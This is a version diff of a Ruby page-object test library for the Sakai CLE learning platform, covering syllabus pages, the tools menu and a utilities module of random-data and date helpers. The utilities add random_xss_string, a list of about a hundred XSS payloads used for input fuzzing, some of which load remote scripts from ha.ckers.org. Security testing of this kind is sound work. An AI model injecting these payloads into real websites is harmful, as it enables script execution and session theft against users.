sakai-cle-test-api 0.0.7 → 0.0.9

data/lib/sakai-cle-test-api/syllabus.rb

@@ -8,7 +8,26 @@
 class Syllabus
   include PageObject
   include ToolsMenu
-  include SyllabusMethods
+  # Clicks the "Create/Edit" button on the page,
+  # then instantiates the SyllabusEdit class.
+  def create_edit
+    frm.link(:text=>"Create/Edit").click
+    SyllabusEdit.new(@browser)
+  end
+
+  # Clicks the "Add" button, then
+  # instantiates the AddEditSyllabusItem Class.
+  def add
+    frm.link(:text=>"Add").click
+    AddEditSyllabusItem.new(@browser)
+  end
+
+  def attachments_list
+    list = []
+    frm.div(:class=>"portletBody").links.each { |link| list << link.text }
+    return list
+  end
+
 end
 
 # This is the page that lists Syllabus sections, allows for
@@ -17,41 +36,164 @@ end
 class SyllabusEdit
   include PageObject
   include ToolsMenu
-  include SyllabusEditMethods
+  # Clicks the "Add" button, then
+  # instantiates the AddEditSyllabusItem Class.
+  def add
+    frm.link(:text=>"Add").click
+    AddEditSyllabusItem.new(@browser)
+  end
+
+  def redirect
+    frm.link(:text=>"Redirect").click
+    SyllabusRedirect.new(@browser)
+  end
+
+  # Returns the text of the page header
+  def header
+    frm.div(:class=>"portletBody").h3.text
+  end
+
+  # Clicks the checkbox for the item with the
+  # specified title.
+  def check_title(title)
+    index=syllabus_titles.index(title)
+    frm.checkbox(:index=>index).set
+  end
+
+  #
+  def move_title_up(title)
+    #FIXME
+  end
+
+  #
+  def move_title_down(title)
+    #FIXME
+  end
+
+  # Clicks the "Update" button and instantiates
+  # the DeleteSyllabusItems Class.
+  def update
+    frm.button(:value=>"Update").click
+    DeleteSyllabusItems.new(@browser)
+  end
+
+  # Opens the specified item and instantiates the XXXX Class.
+  def open_item(title)
+    frm.link(:text=>title).click
+    Class.new(@browser)
+  end
+
+  # Returns an array containing the titles of the syllabus items
+  # displayed on the page.
+  def syllabus_titles
+    titles = []
+    s_table = frm.table(:class=>"listHier lines nolines")
+    1.upto(s_table.rows.size-1) do |x|
+      titles << s_table[x][0].text
+    end
+    return titles
+  end
+
 end
 
 #
 class AddEditSyllabusItem
   include PageObject
   include ToolsMenu
-  include AddEditSyllabusItemMethods 
+  # Clicks the "Post" button and instantiates
+  # the Syllabus Class.
+  def post
+    frm.button(:value=>"Post").click
+    SyllabusEdit.new(@browser)
+  end
+
+  # Defines the text area of the FCKEditor that appears on the page for
+  # the Syllabus content.
+  def editor
+    frm.frame(:id, /_textarea___Frame/).td(:id, "xEditingArea").frame(:index=>0)
+  end
+
+  # Sends the specified string to the FCKEditor text area on the page.
+  def content=(text)
+    editor.send_keys(text)
+  end
+
+  # Clicks the Add attachments button and instantiates the
+  # SyllabusAttach class.
+  def add_attachments
+    frm.button(:value=>"Add attachments").click
+    SyllabusAttach.new(@browser)
+  end
+
+  # Returns an array of the filenames in the attachments
+  # table
+  def files_list
+    names = []
+    frm.table(:class=>"listHier lines nolines").rows.each do |row|
+      if row.td(:class=>"item").exist?
+        names << row.td(:class=>"item").h4.text
+      end
+    end
+    return names
+  end
+
+  # Clicks the preview button and
+  # instantiates the SyllabusPreview class
+  def preview
+    frm.button(:value=>"Preview").click
+    SyllabusPreview.new(@browser)
+  end
+
+  in_frame(:class=>"portletMainIframe") do |frame|
+    text_field(:title, :id=>"_id4:title", :frame=>frame)
+    radio_button(:only_members_of_this_site) { |page| page.radio_button_element(:name=>/_id\d+:_id\d+/, :value=>"no", :frame=>frame) }
+    radio_button(:publicly_viewable) { |page| page.radio_button_element(:name=>/_id\d+:_id\d+/, :value=>"yes", :frame=>frame) }
+
+  end
 end
 
 # The page for previewing a syllabus.
 class SyllabusPreview
   include PageObject
   include ToolsMenu
-  include SyllabusPreviewMethods 
+  def edit
+    frm.button(:value=>"Edit").click
+    AddEditSyllabusItem.new(@browser)
+  end
+
+  in_frame(:class=>"portletMainIframe") do |frame|
+  end
 end
 
 #
 class SyllabusRedirect
   include PageObject
   include ToolsMenu
-  include SyllabusRedirectMethods 
+  def save
+    frm.button(:value=>"Save").click
+    SyllabusEdit.new(@browser)
+  end
+
+  in_frame(:class=>"portletMainIframe") do |frame|
+    text_field(:url, :id=>"redirectForm:urlValue", :frame=>frame)
+  end
 end
 
 # The page where Syllabus Items can be deleted.
 class DeleteSyllabusItems
   include PageObject
   include ToolsMenu
-  include DeleteSyllabusItemsMethods
+  def delete
+    frm.button(:value=>"Delete").click
+    CreateEditSyllabus.new(@browser)
+  end
+
 end
 
 class CreateEditSyllabus
   include PageObject
   include ToolsMenu
-  include CreateEditSyllabusMethods
+
 end
 
 # TODO: This needs to be fixed!

data/lib/sakai-cle-test-api/tools_menu.rb

@@ -13,7 +13,6 @@ module ToolsMenu
   def open_my_site_by_id(id)
     @browser.link(:text, "My Sites").click
     @browser.link(:href, /#{id}/).click
-    $frame_index=1
     Home.new(@browser)
   end
 
@@ -23,10 +22,9 @@ module ToolsMenu
   #
   # Will error out if there are not matching links.
   def open_my_site_by_name(name)
-    short_name = name[0..19]
+    truncated_name = name[0..19]
     @browser.link(:text, "My Sites").click
-    @browser.link(:text, /#{Regexp.escape(short_name)}/).click
-    $frame_index=1
+    @browser.link(:text, /#{Regexp.escape(truncated_name)}/).click
     Home.new(@browser)
   end
 
@@ -50,7 +48,6 @@ module ToolsMenu
   # instantiates the MyWorkspace class.
   def administration_workspace
     @browser.link(:text, "Administration Workspace").click
-    $frame_index=1
     MyWorkspace.new(@browser)
   end
 
@@ -222,12 +219,10 @@ module ToolsMenu
 
   link(:my_sites, :text=>"My Sites")
 
-  # Clicks the "My Workspace" link, sets the
-  # $frame_index global variable to 0, then instantiates
+  # Clicks the "My Workspace" link, then instantiates
   # the MyWorkspace Class.
   def my_workspace
     @browser.link(:text=>"My Workspace").click
-    $frame_index=0
     MyWorkspace.new(@browser)
   end
 
@@ -383,16 +378,6 @@ module ToolsMenu
   # The Page Reset button, found on all Site pages
   def reset
     @browser.link(:href=>/tool-reset/).click
-    page_title = @browser.div(:class=>"title").text
-    case(page_title)
-      when "Lessons"
-        Lessons.new(@browser)
-      when "Syllabus"
-        Syllabus.new(@browser)
-      when "Portfolios"
-        Portfolios.new @browser
-      # Add more cases here, as necessary...
-    end
   end
 
   # Clicks the "(Logout)" link in the upper right of the page.
@@ -404,8 +389,6 @@ module ToolsMenu
   alias log_out logout
   alias sign_out logout
 
-  private
-
   # Shortcut method so we can put all the
   # elements into the Common gem...
   def frm

data/lib/sakai-cle-test-api/utilities.rb

@@ -1,5 +1,260 @@
+# coding: UTF-8
+
 module Utilities
 
+  # Creates a page object based on the class passed to it.
+  #
+  # @example using a page that has already been visited in a Scenario
+  #   on_page MyPageObject do |page|
+  #     page.name.should == 'rSmart'
+  #   end
+  def on_page(page_class, &block)
+    @current_page = page_class.new(@browser)
+    block.call @current_page if block
+    @current_page
+  end
+
+  # Strips the file name away from the path information.
+  #
+  # This way it's not necessary to define variables for BOTH the
+  # file name and the file path + file name. Just define the
+  # path + name and then use this method to extract only the filename
+  # portion.
+  def get_filename(path_plus_name_string)
+    path_plus_name_string =~ /(?<=\/).+/
+    return $~.to_s
+  end
+
+  # A random string creator that draws from all printable ASCII characters
+  # from 33 to 128. Default length is 10 characters.
+  def random_string(length=10, s="")
+    length.enum_for(:times).inject(s) do |result, index|
+      s << rand(93) + 33
+    end
+  end
+
+  # A random string creator that draws from all printable ASCII and High ASCII characters
+  # from 33 to 256. Default length is 10 characters.
+  def random_high_ascii(length=10, s="")
+    length.enum_for(:times).inject(s) do |result, index|
+      s << rand(223) + 33
+    end
+  end
+
+  # A "friendlier" random string generator. No characters need to be escaped for valid URLs.
+  # Uses no Reserved or "Unsafe" characters.
+  # Also excludes the comma, the @ sign and the plus sign. Default length is 10 characters.
+  def random_nicelink(length=10)
+    chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 _ - .}
+    (0...length).map { chars[rand(chars.size)]}.join
+  end
+
+  # Returns a string that is properly formatted like an email address.
+  # The string returned defaults to 268 characters long.
+  # Including a number between 1 and 62 will shrink this string by 62 minus the specified
+  # value.
+  def random_email(x=62)
+    x > 62 ? x=62 : x=x
+    chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ! # $ % & ' * + - / = ? ^ _ ` { | } ~}
+    random_alphanums(1) + (0...x).map { chars[rand(chars.size)]}.join + random_alphanums(1) + "@" + random_alphanums(60) + ".com"
+  end
+
+  # A random string generator that uses all characters
+  # available on an American Qwerty keyboard.
+  def random_alphanums_plus(length=10, s="")
+    chars = %w{ a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ` ~ ! @  # $% ^ & * ( ) _ + - = { } [ ] \ : " ; ' < > ? , . / }
+    length.times { s << chars[rand(chars.size)] }
+    s.to_s
+  end
+
+  # A random string generator that uses only letters and numbers in the string. Default length is 10 characters.
+  def random_alphanums(length=10, s="")
+    chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ0123456789'
+    length.times { s << chars[rand(chars.size)] }
+    s.to_s
+  end
+
+  # A random string generator that uses only lower case letters.
+  def random_letters(length=10, s="")
+    chars = 'abcdefghjkmnpqrstuvwxyz'
+    length.times { s << chars[rand(chars.size)] }
+    s.to_s
+  end
+
+  # Returns a block of text (of the specified type, see below) containing
+  # the specified number of "words" (each containing between 1 and 16 chars)
+  # randomly spread across the specified number of lines (note that
+  # the method does not allow the line count to be larger than
+  # the word count and will "fix" it if it is).
+  #
+  # If no arguments are provided, the method will return two alphanumeric
+  # "words" on two lines.
+  #
+  # The last argument the method takes will determine the character content
+  # of the string, viz.:
+  #
+  # :alpha => Alphanumeric -> uses the random_alphanums method
+  # :string => uses the random_string method, so chars 33 through 128 will be included
+  # :ascii => All ASCII chars from 33 to 256 are fair game -> uses random_high_ascii
+  def random_multiline(word_count=2, line_count=2, char_type=:alpha)
+    char_methods = {:alpha=>"random_alphanums(rand(16)+1)", :string=>"random_string(rand(16)+1)", :ascii=>"random_high_ascii(rand(16)+1)"}
+    if line_count > word_count
+      line_count = word_count - 1
+    end
+    words = []
+    non_words = []
+    word_count.times { words << eval(char_methods[char_type]) } # creating the words, adding to the array
+    (line_count - 1).times { non_words << "\n" } # adding the number of line feeds
+    unless word_count==line_count
+      (word_count - line_count - 1).times { non_words << " " } # adding the right number of spaces
+    end
+    non_words.shuffle! # Have to shuffle the line feeds around!
+    array = words.zip(non_words)
+    array.flatten!
+    return array.join("")
+  end
+
+  # Picks at random from the list of XSS test strings, using
+  # the provided number as size of the list to choose from.
+  # It will randomly pre-pend the string with HTML closing tags.
+  #
+  # The strings are organized by length, with the shorter ones
+  # first. There are 102 strings.
+  def random_xss_string(number=102)
+    if number > 102
+      number = 102
+    end
+    xss = ["<PLAINTEXT>", "\\\";alert('XSS');//", "'';!--\"<XSS>=&{()}", "<IMG SRC=\"mocha:alert('XSS')\">", "<BODY ONLOAD=alert('XSS')>", "<BODY ONLOAD =alert('XSS')>", "<BR SIZE=\"&{alert('XSS')}\">", "¼script¾alert(¢XSS¢)¼/script¾", "<IMG SRC=\"livescript:alert('XSS')\">", "<SCRIPT SRC=//ha.ckers.org/.j>", "<IMG SRC=javascript:alert('XSS')>", "<IMG SRC=JaVaScRiPt:alert('XSS')>", "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>", "<IMG SRC=\"javascript:alert('XSS')\"", "<IMG SRC='vbscript:msgbox(\"XSS\")'>", "<A HREF=\"http://1113982867/\">XSS</A>", "<IMG SRC=\"javascript:alert('XSS');\">", "<IMG SRC=\"jav\tascript:alert('XSS');\">", "<XSS STYLE=\"behavior: url(xss.htc);\">", "</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>", "<IMG DYNSRC=\"javascript:alert('XSS')\">", "<A HREF=\"http://66.102.7.147/\">XSS</A>", "<IMG LOWSRC=\"javascript:alert('XSS')\">", "<BGSOUND SRC=\"javascript:alert('XSS');\">", "<BASE HREF=\"javascript:alert('XSS');//\">", "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">", "<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>", "<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">", "<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">", "<XSS STYLE=\"xss:expression(alert('XSS'))\">", "<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">", "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>", "<IMG SRC=\" &#14; javascript:alert('XSS');\">", "<IMG SRC=javascript:alert(&quot;XSS&quot;)>", "<BODY BACKGROUND=\"javascript:alert('XSS')\">", "<TABLE BACKGROUND=\"javascript:alert('XSS')\">", "<DIV STYLE=\"width: expression(alert('XSS'));\">", "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", "<iframe src=http://ha.ckers.org/scriptlet.html <", "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>", "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", "<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>", "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", "<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>", "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>", "<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>", "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>", "<BODY onload!\#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>", "<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>", "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>", "<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "perl -e 'print \"<SCR\\0IPT>alert(\\\"XSS\\\")</SCR\\0IPT>\";' > out", "<IMG SRC = \" j a v a s c r i p t : a l e r t ( ' X S S ' ) \" >", "Redirect 302 /a.jpg http://www.rsmart.com/admin.asp&deleteuser", "perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out", "<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->", "<DIV STYLE=\"background-image: url(&#1;javascript:alert('XSS'))\">", "<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", "a=\"get\"; b=\"URL(\\\"\"; c=\"javascript:\"; d=\"alert('XSS');\\\")\"; eval(a+b+c+d);", "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>", "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>", "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", "<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>", "<XML SRC=\"xsstest.xml\" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;\">", "exp/*<A STYLE='no\\xss:noxss(\"*//*\"); xss:&#101;x&#x2F;*XSS*//*/*/pression(alert(\"XSS\"))'>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", "<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->", "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", "<HTML xmlns:xss> <?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"> <xss:xss>XSS</xss:xss> </HTML>", "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>", "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-", "<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>", "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<XML ID=\"xss\"><I><B>&lt;IMG SRC=\"javas<!-- -->cript:alert('XSS')\"&gt;</B></I></XML> <SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>", "<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">", "<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>", "';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>", "<HTML><BODY> <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"> <?import namespace=\"t\" implementation=\"#default#time2\"> <t:set attributeName=\"innerHTML\" to=\"XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;\"> </BODY></HTML>", "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>"]
+    x = rand(4)
+    case(x)
+      when 0
+        return xss[rand(number)]
+      when 1
+        return %|"| + xss[rand(number)]
+      when 2
+        return %|">| + xss[rand(number)]
+      when 3
+        return %|>| + xss[rand(number)]
+    end
+
+  end
+
+  # Some date and time helper functions....
+
+  # Returns the value of the last hour as an Integer object, which
+  # eliminates the zero-padding for single-digit hours. 12-hour clock.
+  def last_hour
+    (Time.now - 3600).strftime("%I").to_i
+  end
+
+  # Returns the value of the current hour as an Integer object, which
+  # eliminates the zero-padding for single-digit hours. 12-hour clock.
+  def current_hour
+    Time.now.strftime("%I").to_i
+  end
+
+  # Returns the value of the next hour as an Integer object, which
+  # eliminates the zero-padding for single-digit hours. 12-hour clock.
+  def next_hour
+    (Time.now + 3600).strftime("%I").to_i
+  end
+
+  # Returns a 4-digit Integer object, equal to last year.
+  def last_year
+    (Time.now - (3600*24*365)).strftime("%Y").to_i
+  end
+
+  # Returns a 4-digit Integer object equal to the current year.
+  def current_year
+    (Time.now).strftime("%Y").to_i
+  end
+
+  # Returns an all-caps 3-char string equal to the prior month
+  def last_month
+    months = ["JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC"]
+    index = months.index(current_month)
+    return months[index-1]
+  end
+
+  # Returns an all-caps 3-char string equal to the current month
+  def current_month
+    Time.now.strftime("%^b")
+  end
+
+  # Returns an all-caps 3-char string equal to next month
+  def next_month
+    months = ["JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC"]
+    index = months.index(current_month)
+    if index < 12
+      return months[index+1]
+    else
+      return months[0]
+    end
+  end
+
+  # Returns a 4-digit Integer object equal to next year.
+  def next_year
+    (Time.now + (3600*24*365)).strftime("%Y").to_i
+  end
+
+  # Returns an Integer object equal to
+  # yesterday's day of the month. The string is converted to
+  # an integer so as to remove the zero-padding from single-digit day values.
+  def yesterday
+    (Time.now - (3600*24)).strftime("%d").to_i
+  end
+
+  # Returns an Integer object equal to
+  # tomorrow's day of the month. The string is converted to
+  # an integer so as to remove the zero-padding from single-digit day values.
+  def tomorrow
+    (Time.now + (3600*24)).strftime("%d").to_i
+  end
+
+  # Takes a time object as the input (e.g., Time.now) and returns
+  # a string formatted in particular ways.
+  # When the specified "type" value is "cle" (or not specified),
+  # The returned string will look like this:
+  # "Jan 9, 2012 1:12 am"
+  # When "oae-message":
+  # "2/8/2012 1:06 PM"
+  # Note the lack of zero-padding for the day of the month and the
+  # hour of the day. The hour value will be for a 12-hour clock.
+  def make_date(time_object, type="cle")
+    case(type)
+      when "cle"
+        month = time_object.strftime("%b ")
+        day = time_object.strftime("%d").to_i
+        year = time_object.strftime(", %Y ")
+        mins = time_object.strftime(":%M %P")
+        hour = time_object.strftime("%l").to_i
+        return month + day.to_s + year + hour.to_s + mins
+      when "oae-message"
+        date = time_object.strftime("%-m/%-d/%Y ")
+        hour = time_object.strftime("%l").to_i
+        mins = time_object.strftime(":%M %p")
+        return date + hour.to_s + mins
+    end
+
+  end
+
+  # returns a hash object containing strings that will, for example,
+  # allow creation of an event starting 15 minutes in the future.
+  # Hour and Day values are Integer objects, not strings, so that
+  # they will not be zero-padded. The :meridian string is lower-case.
+  def in_15_minutes
+    t = Time.now.utc+15*60
+    return {
+        :month_str => t.strftime("%^b"),
+        :month_int => t.strftime("%-m"),
+        :day =>t.strftime("%d").to_i,
+        :year =>t.strftime("%Y").to_i,
+        :hour =>t.strftime("%I").to_i,
+        :minute =>(t-t.sec-t.min%5*60).strftime("%M"),
+        :meridian =>t.strftime("%P")
+    }
+  end
+
   # Formats a date string Sakai-style.
   # Useful for verifying creation dates and such.
   #
@@ -13,4 +268,9 @@ module Utilities
     return month + day.to_s + year + hour.to_s + mins
   end
 
+  # Shorthand method for making a data object for testing.
+  def make data_object_class, opts={}
+    data_object_class.new @browser, opts
+  end
+
 end